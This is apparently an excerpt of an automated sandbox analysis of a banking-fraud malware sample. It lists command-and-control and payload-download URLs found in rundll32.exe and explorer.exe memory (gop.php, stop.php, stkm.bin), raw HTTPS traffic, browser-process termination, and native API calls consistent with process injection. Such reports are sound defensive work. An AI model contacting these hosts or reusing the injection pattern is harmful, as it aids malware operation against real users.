Source: explorer.exe, 00000008.00000002.4553248554.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/3405117-2476756634-1003
Source: explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/Z#q
Source: explorer.exe, 00000008.00000002.4554444765.000000000C8DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/eo
Source: explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/m
Source: explorer.exe, 00000008.00000002.4554444765.000000000C930000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3201304277.00000000030C0000.00000040.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3362838683.00000000089B0000.00000040.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3414819462.00000000088C0000.00000040.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4538744172.00000000031FE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3445364549.0000000008980000.00000040.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4555029441.000000000C9F9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/test/
Source: explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/test/E
Source: explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/test/N#e
Source: explorer.exe, 00000008.00000002.4554024065.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/test/a
Source: explorer.exe, 00000008.00000002.4555029441.000000000C9F9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/test/ys
Source: explorer.exe, 00000008.00000002.4554444765.000000000C8DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dogirafer.com/uo
Source: explorer.exe, 00000008.00000000.2323476795.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3103191493.0000000009BB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3103624134.0000000009C21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3100576777.0000000009B8F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421807994.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E18D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com/
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com/P
Source: rundll32.exe, 00000006.00000002.4535937784.000002339E18D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com/Q
Source: rundll32.exe, 00000004.00000003.2421807994.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com/~C
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421807994.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536038404.0000027617C68000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com:6542/gop.php
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE3A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com:6542/gop.php5
Source: rundll32.exe, 00000004.00000002.4536038404.0000027617C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com:6542/gop.php6)
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE41C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com:6542/gop.phpK
Source: rundll32.exe, 00000004.00000002.4536038404.0000027617C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com:6542/gop.phpn)?
Source: rundll32.exe, 00000006.00000002.4535937784.000002339E18D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4535937784.000002339E11E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://huanvn.com:6542/stop.php
Source: explorer.exe, 00000008.00000003.3861913197.0000000009C93000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4550686972.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3101269732.0000000009C92000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3100576777.0000000009B8F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009C93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000008.00000000.2325776934.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4553248554.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/
Source: explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C930000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C912000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/files/stkm.bin
Source: explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C912000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/files/stkm.binSL
Source: explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4554444765.000000000C930000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/files/stkm.bino
Source: explorer.exe, 00000008.00000002.4555029441.000000000CA51000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/p
Source: explorer.exe, 00000008.00000002.4549635767.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/q
Source: explorer.exe, 00000008.00000003.3864470409.0000000003534000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3362838683.00000000089B0000.00000040.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3414819462.00000000088C0000.00000040.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3445364549.0000000008980000.00000040.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4555029441.000000000C9F9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/
Source: explorer.exe, 00000008.00000003.3362838683.00000000089B0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/1303063_94378682313560_2056837URLS1https://dogirafer.com/test/4190877_54
Source: explorer.exe, 00000008.00000003.3445364549.0000000008980000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/3630449_22862766669148_5703346URLS1https://dogirafer.com/test/6092916_19
Source: explorer.exe, 00000008.00000003.3201304277.00000000030C0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/4439042_94940942440575_5318539URLS1https://dogirafer.com/test/3185439_50
Source: explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/4560
Source: explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/4560D
Source: explorer.exe, 00000008.00000003.3414819462.00000000088C0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/9362058_57969102112118_633157URLS1https://dogirafer.com/test/8477611_767
Source: explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/X
Source: explorer.exe, 00000008.00000003.3857221025.000000000C90B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3863553988.000000000C92E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3855885147.000000000C908000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/t60G
Source: explorer.exe, 00000008.00000003.3863706304.0000000003532000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3864470409.0000000003534000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://reateberam.com/test/w
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE474000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3219518856.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4536479202.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vutarf.com/
Source: rundll32.exe, 00000004.00000002.4536842943.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3190119329.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vutarf.com/%
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vutarf.com/W
Source: rundll32.exe, 00000006.00000003.2511990228.000002339E1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vutarf.com:6542/gop.php
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.4535814161.000001CEAE474000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2421653008.0000027617D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vutarf.com:6542/stop.php
Source: rundll32.exe, 00000004.00000003.2421653008.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4536296761.0000027617D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vutarf.com:6542/stop.phpo
Source: rundll32.exe, 00000003.00000002.4535814161.000001CEAE474000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2318890532.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3190095879.000001CEAE459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vutarf.com:6542/stop.phpu
Source: explorer.exe, 00000008.00000002.4549635767.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 00000008.00000002.4549635767.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094423766.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2323476795.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3856101577.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907

Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.68.89:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.217.190:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.68.89:443 -> 192.168.2.5:50029 version: TLS 1.2

E-Banking Fraud

Checks if browser processes are running

Source: C:\Windows\explorer.exe	Code function: CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,OpenProcess,StrStrIA,StrStrIA,StrStrIA,TerminateProcess,CloseHandle,Process32Next,CloseHandle, chrome.exe		8_2_0E454948
Source: C:\Windows\explorer.exe	Code function: CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,OpenProcess,StrStrIA,StrStrIA,StrStrIA,TerminateProcess,CloseHandle,Process32Next,CloseHandle, iexplore.exe		8_2_0E454948

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\rundll32.exe	Code function: 3_3_000001CEAFE2D2B6 NtAllocateVirtualMemory,	3_3_000001CEAFE2D2B6
Source: C:\Windows\System32\rundll32.exe	Code function: 3_3_000001CEAFE2D326 NtProtectVirtualMemory,	3_3_000001CEAFE2D326
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA4BE0 NtProtectVirtualMemory,	3_2_000001CEAFCA4BE0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA4FF0 NtQueueApcThread,	3_2_000001CEAFCA4FF0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC717B0 NtClose,NtClose,	3_2_000001CEAFC717B0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA4360 NtCreateThreadEx,	3_2_000001CEAFCA4360
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA4740 NtFreeVirtualMemory,	3_2_000001CEAFCA4740
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA3F40 NtAllocateVirtualMemory,	3_2_000001CEAFCA3F40
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC87A50 NtSetContextThread,	3_2_000001CEAFC87A50
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC71600 NtClose,RtlExitUserThread,	3_2_000001CEAFC71600
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC88149 NtSetContextThread,	3_2_000001CEAFC88149
Source: C:\Windows\System32\rundll32.exe	Code function: 4_3_00000276197BD326 NtProtectVirtualMemory,	4_3_00000276197BD326
Source: C:\Windows\System32\rundll32.exe	Code function: 4_3_00000276197BD2B6 NtAllocateVirtualMemory,	4_3_00000276197BD2B6
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196271B0 NtClose,	4_2_00000276196271B0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619638149 NtSetContextThread,	4_2_0000027619638149
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619654BE0 NtProtectVirtualMemory,	4_2_0000027619654BE0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619654FF0 NtQueueApcThread,	4_2_0000027619654FF0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196217B0 NtClose,NtClose,	4_2_00000276196217B0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619654360 NtCreateThreadEx,	4_2_0000027619654360
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619653F40 NtAllocateVirtualMemory,	4_2_0000027619653F40
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619654740 NtFreeVirtualMemory,	4_2_0000027619654740
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619621600 NtClose,RtlExitUserThread,	4_2_0000027619621600
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619637A50 NtSetContextThread,	4_2_0000027619637A50
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000002339FC7D2B6 NtAllocateVirtualMemory,	6_3_000002339FC7D2B6
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000002339FC7D326 NtProtectVirtualMemory,	6_3_000002339FC7D326
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB4360 NtCreateThreadEx,	6_2_000002339FBB4360
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB817B0 NtClose,NtClose,	6_2_000002339FB817B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB3F40 NtAllocateVirtualMemory,	6_2_000002339FBB3F40
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB4740 NtFreeVirtualMemory,	6_2_000002339FBB4740
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB81600 NtClose,RtlExitUserThread,	6_2_000002339FB81600
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB97A50 NtSetContextThread,	6_2_000002339FB97A50
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB98149 NtSetContextThread,	6_2_000002339FB98149
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB4FF0 NtQueueApcThread,	6_2_000002339FBB4FF0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB4BE0 NtProtectVirtualMemory,	6_2_000002339FBB4BE0
Source: C:\Windows\explorer.exe	Code function: 8_2_0303C704 NtDelayExecution,	8_2_0303C704
Source: C:\Windows\explorer.exe	Code function: 8_2_0303B388 NtAllocateVirtualMemory,	8_2_0303B388
Source: C:\Windows\explorer.exe	Code function: 8_2_030382B4 NtFreeVirtualMemory,	8_2_030382B4
Source: C:\Windows\explorer.exe	Code function: 8_2_030401A0 NtFreeVirtualMemory,	8_2_030401A0
Source: C:\Windows\explorer.exe	Code function: 8_2_030381C8 NtWriteFile,	8_2_030381C8
Source: C:\Windows\explorer.exe	Code function: 8_2_03038240 NtClose,	8_2_03038240
Source: C:\Windows\explorer.exe	Code function: 8_2_030380B8 RtlInitUnicodeString,NtCreateFile,	8_2_030380B8
